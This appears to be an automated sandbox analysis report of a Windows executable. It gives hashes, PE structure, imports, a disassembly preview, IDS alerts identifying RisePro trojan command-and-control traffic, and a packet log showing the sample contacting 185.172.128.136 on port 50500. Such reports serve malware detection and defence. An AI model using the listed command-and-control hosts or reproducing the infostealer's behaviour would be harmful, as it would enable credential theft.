SHA256:	a22db49ce797ce6ac5d91a4791d9954f4c31397b01d362fb0d24ffb7e16cd8d5
SHA512:	72473f3f32bdf9cde220811cbb1da873a0d8dd0441ce37081c003fd930c9a2bf9fac50f00fc04a5e2d7da759f6ed382665fc01c082cea37ab80a31d73431e9e0
SSDEEP:	98304:fXdAsPOHF+PYGMetYEYNx0s7N9ERbkQMrN:fCeS0s7Nu
TLSH:	85C65A47F89045E4C1EDD1748A668222BB707C894B3523D72B60F7B82F36BD4AE79364
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................$..I....................@..........................................`... ............................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x1400014c0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, DEBUG_STRIPPED
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x0 [Thu Jan 1 00:00:00 1970 UTC]
TLS Callbacks:	0x40493aa0, 0x1, 0x40493a70, 0x1, 0x404974d0, 0x1
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	1
File Version Major:	6
File Version Minor:	1
Subsystem Version Major:	6
Subsystem Version Minor:	1
Import Hash:	85cddd6092e65c1a58dd1e6e9ab9fc63

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [00B92FD5h]
mov dword ptr [eax], 00000001h
call 00007FCFD082530Fh
nop
nop
dec eax
add esp, 28h
ret
nop dword ptr [eax]
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [00B92FB5h]
mov dword ptr [eax], 00000000h
call 00007FCFD08252EFh
nop
nop
dec eax
add esp, 28h
ret
nop dword ptr [eax]
dec eax
sub esp, 28h
call 00007FCFD0CC2994h
dec eax
test eax, eax
sete al
movzx eax, al
neg eax
dec eax
add esp, 28h
ret
nop
nop
nop
nop
nop
nop
nop
dec eax
lea ecx, dword ptr [00000009h]
jmp 00007FCFD0825629h
nop dword ptr [eax+00h]
ret
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword ptr [eax]
inc edi
outsd
and byte ptr [edx+75h], ah
imul ebp, dword ptr [esp+20h], 203A4449h
and dh, byte ptr [esi]
jc 00007FCFD08256C0h
js 00007FCFD08256A7h
pop eax
jne 00007FCFD082568Ah
popad
dec edi
aaa
bound edx, dword ptr [ebp+46h]
jne 00007FCFD08256CBh
push eax
insb
outsd
push 6861702Fh
outsd
jo 00007FCFD08256CDh
imul edx, dword ptr [eax+76h], 66h
aaa
push ebx
aaa
inc ebp
jbe 00007FCFD0825686h
inc ecx
imul ebp, dword ptr [edi], 68h
jc 00007FCFD08256C1h
jnbe 00007FCFD08256A7h
jbe 00007FCFD08256A3h
push 6A537279h
push ecx

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0xc01000	0x4e	.edata
IMAGE_DIRECTORY_ENTRY_IMPORT	0xc02000	0x1338	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc06000	0xc98	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0xb95000	0xd80	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xc07000	0x16f6c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xb93e00	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xc0245c	0x420	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x49e000	0x49e000	44230eb73308e1a60e2498741eb2aed5	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x49f000	0x5c210	0x5c400	5971afad509db15e8b82d9ce2ea1093c	False	0.34341653963414637	dBase III DBT, version number 0, next free block index 10, 1st item "urity/keyvault/internal\011v1.0.0\011h1:D3occbWoio4EBLkbkevetNMAVX197GkzbUMtqjGWn80="	5.123613488005227	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x4fc000	0x698c10	0x698e00	5c2cc9a51d44cd7fff56972a2666c3d3	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.pdata	0xb95000	0xd80	0xe00	e383b04198887e44352c920debae9260	False	0.48325892857142855	data	5.173239648482355	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.xdata	0xb96000	0xb90	0xc00	3823a19641fc6b4e0c9434ab9aaaf4a3	False	0.2662760416666667	data	4.183045045672044	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.bss	0xb97000	0x69420	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.edata	0xc01000	0x4e	0x200	054026b17757e0a3f15f274c0ed4c2ed	False	0.08984375	data	0.6590019288856179	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.idata	0xc02000	0x1338	0x1400	ccb407c4dddf34afb356b598917282c4	False	0.309765625	data	4.435052603102316	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.CRT	0xc04000	0x70	0x200	fbc4d11beb6e8ee9f280ed4bddaa3b95	False	0.08203125	data	0.47139462148086453	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0xc05000	0x10	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xc06000	0xc98	0xe00	de5640e7f1c5d21e6a2ff2aca93291a5	False	0.30859375	data	4.274334645028769	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0xc07000	0x16f6c	0x17000	0124457436690e8732f6da1cf1e70777	False	0.20391049592391305	data	5.432483147632306	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xc060a0	0x584	data	English	United States	0.2790368271954674
RT_MANIFEST	0xc06624	0x674	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.39891041162227603

Imports

DLL

Import

KERNEL32.dll

AddAtomA, AddVectoredExceptionHandler, CloseHandle, CreateEventA, CreateFileA, CreateIoCompletionPort, CreateMutexA, CreateSemaphoreA, CreateThread, CreateWaitableTimerExW, DeleteAtom, DeleteCriticalSection, DuplicateHandle, EnterCriticalSection, ExitProcess, FindAtomA, FormatMessageA, FreeEnvironmentStringsW, GetAtomNameA, GetConsoleMode, GetCurrentProcess, GetCurrentProcessId, GetCurrentThread, GetCurrentThreadId, GetEnvironmentStringsW, GetHandleInformation, GetLastError, GetProcAddress, GetProcessAffinityMask, GetQueuedCompletionStatusEx, GetStartupInfoA, GetStdHandle, GetSystemDirectoryA, GetSystemInfo, GetSystemTimeAsFileTime, GetThreadContext, GetThreadPriority, GetTickCount, InitializeCriticalSection, IsDBCSLeadByteEx, IsDebuggerPresent, LeaveCriticalSection, LoadLibraryA, LoadLibraryW, LocalFree, MultiByteToWideChar, OpenProcess, OutputDebugStringA, PostQueuedCompletionStatus, QueryPerformanceCounter, QueryPerformanceFrequency, RaiseException, ReleaseMutex, ReleaseSemaphore, RemoveVectoredExceptionHandler, ResetEvent, ResumeThread, SetConsoleCtrlHandler, SetErrorMode, SetEvent, SetLastError, SetProcessAffinityMask, SetProcessPriorityBoost, SetThreadContext, SetThreadPriority, SetUnhandledExceptionFilter, SetWaitableTimer, Sleep, SuspendThread, SwitchToThread, TlsAlloc, TlsGetValue, TlsSetValue, TryEnterCriticalSection, VirtualAlloc, VirtualFree, VirtualProtect, VirtualQuery, WaitForMultipleObjects, WaitForSingleObject, WideCharToMultiByte, WriteConsoleW, WriteFile, __C_specific_handler

msvcrt.dll

___lc_codepage_func, ___mb_cur_max_func, __getmainargs, __initenv, __iob_func, __lconv_init, __set_app_type, __setusermatherr, _acmdln, _amsg_exit, _beginthread, _beginthreadex, _cexit, _commode, _endthreadex, _errno, _fmode, _initterm, _lock, _memccpy, _onexit, _setjmp, _strdup, _ultoa, _unlock, abort, calloc, exit, fprintf, fputc, free, fwrite, localeconv, longjmp, malloc, memcpy, memmove, memset, printf, realloc, signal, strerror, strlen, strncmp, vfprintf, wcslen

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
05/22/24-20:06:21.584122	TCP	2049060	ET TROJAN RisePro TCP Heartbeat Packet	49705	50500	192.168.2.6	185.172.128.136
05/22/24-20:06:38.267154	TCP	2046266	ET TROJAN [ANY.RUN] RisePro TCP (Token)	50500	49709	185.172.128.136	192.168.2.6
05/22/24-20:06:24.059652	TCP	2046268	ET TROJAN [ANY.RUN] RisePro TCP v.0.x (Get_settings)	49705	50500	192.168.2.6	185.172.128.136
05/22/24-20:06:36.169525	TCP	2046269	ET TROJAN [ANY.RUN] RisePro TCP (Activity)	49705	50500	192.168.2.6	185.172.128.136
05/22/24-20:06:37.086566	TCP	2049660	ET TROJAN RisePro CnC Activity (Outbound)	50500	49705	185.172.128.136	192.168.2.6
05/22/24-20:06:22.392274	TCP	2046267	ET TROJAN [ANY.RUN] RisePro TCP (External IP)	50500	49705	185.172.128.136	192.168.2.6
05/22/24-20:06:29.624310	TCP	2019714	ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile	49708	80	192.168.2.6	185.172.128.82
05/22/24-20:06:22.144132	TCP	2046266	ET TROJAN [ANY.RUN] RisePro TCP (Token)	50500	49705	185.172.128.136	192.168.2.6

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 22, 2024 20:06:21.566201925 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:21.571419954 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:21.571517944 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:21.584121943 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:21.625030994 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:22.144131899 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:22.184766054 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:22.275212049 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:22.275386095 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:22.281764984 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:22.392273903 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:22.434828043 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:22.514400959 CEST	49706	443	192.168.2.6	34.117.186.192
May 22, 2024 20:06:22.514437914 CEST	443	49706	34.117.186.192	192.168.2.6
May 22, 2024 20:06:22.514522076 CEST	49706	443	192.168.2.6	34.117.186.192
May 22, 2024 20:06:22.519198895 CEST	49706	443	192.168.2.6	34.117.186.192
May 22, 2024 20:06:22.519213915 CEST	443	49706	34.117.186.192	192.168.2.6
May 22, 2024 20:06:23.028501987 CEST	443	49706	34.117.186.192	192.168.2.6
May 22, 2024 20:06:23.028575897 CEST	49706	443	192.168.2.6	34.117.186.192
May 22, 2024 20:06:23.033133984 CEST	49706	443	192.168.2.6	34.117.186.192
May 22, 2024 20:06:23.033153057 CEST	443	49706	34.117.186.192	192.168.2.6
May 22, 2024 20:06:23.033595085 CEST	443	49706	34.117.186.192	192.168.2.6
May 22, 2024 20:06:23.075385094 CEST	49706	443	192.168.2.6	34.117.186.192
May 22, 2024 20:06:23.094363928 CEST	49706	443	192.168.2.6	34.117.186.192
May 22, 2024 20:06:23.138500929 CEST	443	49706	34.117.186.192	192.168.2.6
May 22, 2024 20:06:23.234369993 CEST	443	49706	34.117.186.192	192.168.2.6
May 22, 2024 20:06:23.234488010 CEST	443	49706	34.117.186.192	192.168.2.6
May 22, 2024 20:06:23.234808922 CEST	49706	443	192.168.2.6	34.117.186.192
May 22, 2024 20:06:23.237442970 CEST	49706	443	192.168.2.6	34.117.186.192
May 22, 2024 20:06:23.237454891 CEST	443	49706	34.117.186.192	192.168.2.6
May 22, 2024 20:06:23.237489939 CEST	49706	443	192.168.2.6	34.117.186.192
May 22, 2024 20:06:23.237494946 CEST	443	49706	34.117.186.192	192.168.2.6
May 22, 2024 20:06:23.301614046 CEST	49707	443	192.168.2.6	172.67.75.166
May 22, 2024 20:06:23.301666975 CEST	443	49707	172.67.75.166	192.168.2.6
May 22, 2024 20:06:23.307732105 CEST	49707	443	192.168.2.6	172.67.75.166
May 22, 2024 20:06:23.315855980 CEST	49707	443	192.168.2.6	172.67.75.166
May 22, 2024 20:06:23.315874100 CEST	443	49707	172.67.75.166	192.168.2.6
May 22, 2024 20:06:23.795532942 CEST	443	49707	172.67.75.166	192.168.2.6
May 22, 2024 20:06:23.795640945 CEST	49707	443	192.168.2.6	172.67.75.166
May 22, 2024 20:06:23.798116922 CEST	49707	443	192.168.2.6	172.67.75.166
May 22, 2024 20:06:23.798141003 CEST	443	49707	172.67.75.166	192.168.2.6
May 22, 2024 20:06:23.798558950 CEST	443	49707	172.67.75.166	192.168.2.6
May 22, 2024 20:06:23.800615072 CEST	49707	443	192.168.2.6	172.67.75.166
May 22, 2024 20:06:23.842545986 CEST	443	49707	172.67.75.166	192.168.2.6
May 22, 2024 20:06:24.057060957 CEST	443	49707	172.67.75.166	192.168.2.6
May 22, 2024 20:06:24.057143927 CEST	443	49707	172.67.75.166	192.168.2.6
May 22, 2024 20:06:24.057341099 CEST	49707	443	192.168.2.6	172.67.75.166
May 22, 2024 20:06:24.059124947 CEST	49707	443	192.168.2.6	172.67.75.166
May 22, 2024 20:06:24.059145927 CEST	443	49707	172.67.75.166	192.168.2.6
May 22, 2024 20:06:24.059160948 CEST	49707	443	192.168.2.6	172.67.75.166
May 22, 2024 20:06:24.059169054 CEST	443	49707	172.67.75.166	192.168.2.6
May 22, 2024 20:06:24.059652090 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:24.109778881 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:24.318545103 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:24.372267962 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:24.388283014 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:24.425446987 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:24.645493031 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:24.700433016 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:24.716630936 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:24.950443983 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:24.986238956 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:24.990958929 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:25.189683914 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:25.191536903 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:25.191587925 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:25.196602106 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:25.196611881 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:25.196674109 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:25.205728054 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:25.205739975 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:25.205799103 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:25.263083935 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:25.274849892 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:25.469731092 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:25.481933117 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:25.490154028 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:25.694442987 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:25.747364998 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.104343891 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.111443996 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.111674070 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.118628025 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.118691921 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.125087976 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.125108957 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.125125885 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.125142097 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.125158072 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.125174046 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.125190020 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.125216961 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.125238895 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.125257015 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.125300884 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.132369995 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.132380962 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.132456064 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.140686035 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.140708923 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.140728951 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.140748024 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.140765905 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.140785933 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.140803099 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.140841007 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.140863895 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.140883923 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.140902996 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.140918970 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.140944958 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.140968084 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.140985966 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.141755104 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.147598028 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.147787094 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.155492067 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.155539036 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.155632973 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.155704021 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.155775070 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.155814886 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.155858040 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.155896902 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.155930996 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.155971050 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.156007051 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.156047106 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.156085968 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.156114101 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.156147003 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.163198948 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.163220882 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.163233042 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.163255930 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.163274050 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.163290977 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.163305044 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.163327932 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.163337946 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.163356066 CEST	50500	49705	185.172.128.136	192.168.2.6
May 22, 2024 20:06:28.163382053 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.163399935 CEST	49705	50500	192.168.2.6	185.172.128.136
May 22, 2024 20:06:28.163414001 CEST	49705	50500	192.168.2.6	185.172.128.136
